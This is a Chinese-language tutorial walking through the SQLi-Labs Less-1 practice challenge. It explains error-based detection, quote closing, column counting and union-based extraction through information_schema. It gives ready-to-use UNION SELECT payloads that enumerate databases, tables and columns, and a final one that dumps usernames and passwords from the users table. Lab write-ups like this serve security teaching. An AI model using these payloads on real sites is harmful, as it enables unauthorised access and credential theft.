题目地址:http://43.247.91.228:84/Less-1/
0x01 先看题目的描述,查找注入点
welcome 下面说输入ID作为带有数字值的参数。首先令?id=1尝试下:有显示两列。
尝试着让返回页面报错,可以尝试加单引号,双引号,括号等, 发现加单引号报错并返回错误信息。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '1'' LIMIT 0,1 ' at line 1
这个位置就应该是注入点了。
0x02 分析后台查询语句的结构,使其闭合
不管报错的两端的单引号,只分析'1'' LIMIT 0,1,1和' 是我们输入的,后端代码很可能是
select name,password where id='$id' LIMIT 0,1
我们可控的参数只有$id,所以我们输入数字,加上单引号之后使id闭合之后。加上#(%23或者--+)屏蔽掉原来的' LIMIT 0,1 。 令?id=1' %23, 成功返回结果。
0x03 进行联合查询,查看是否能执行查询语句
联合查询要求查询的列数相同,首先得检测列数,有两种方法检测:union select加不同列数的数字和利用order by
1. 利用union select加不同列数的数字
从1列开始,直到列数相同返回正确的显示为止
2. 利用order by进行测试
order by 加数字。如果数字小于列数,不报错;如果数字大于列数,将报错。(不报错的最大数即为列数)猜测一个稍微大点的数字,用二分法可以比较快速的定位到列数。(可以先执行order by 1,如果报错说明语句存在错误)
3. 找到列数之后,执行union select查询能否执行函数
我们注意到,使用union select 1,2,3 时,页面将2和3显示了出来。我们用简单函数database(),或者user() 来代替2和3的位置,看是否可以执行函数。
0x04 爆出所有数据库
这里插入一段前置知识:
1. 数据库存储的结构
层级依次是,数据库>>表>>字段>>值。具体而言,我们的MySQL数据库中一般会包含许多数据库,每个数据库中又会包含几个表,每个表又会有多个字段,字段又会对应多个值。
2. MySQL数据库中的重要表
MySQL数据库中有个重要的information_schema库,库中包含三个重要的表:
♦ SCHEMATA : 这个表包含了所有数据库的名字
♦ TABLES : 这个表包含了所有表的名字
♦ COLUMNS : 这个表包含了所有字段的名字
我们可以尝试这列出所有的数据库:
payload=?id=-1' union select 1,2,schema_name from information_schema.schemata %23
上面的操作只显示了数据库的第一条,也许是因为limit 0,1 的原因,限制了只能显示一条,下面我们使用group_concat()函数,把所有结果变成一条。
payload=?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23
0x05 查询当前数据库的所有表
有了上面的经验,我们稍作修改即可查询:
payload=?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
0x06 查询敏感表下的列,寻找敏感字段
我们对users表中的信息比较感兴趣,从users表中进行查询。
payload=?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users' %23
0x07 查询敏感字段下的值
payload= ?id=-1' union select 1,group_concat(username),group_concat(password) from users %23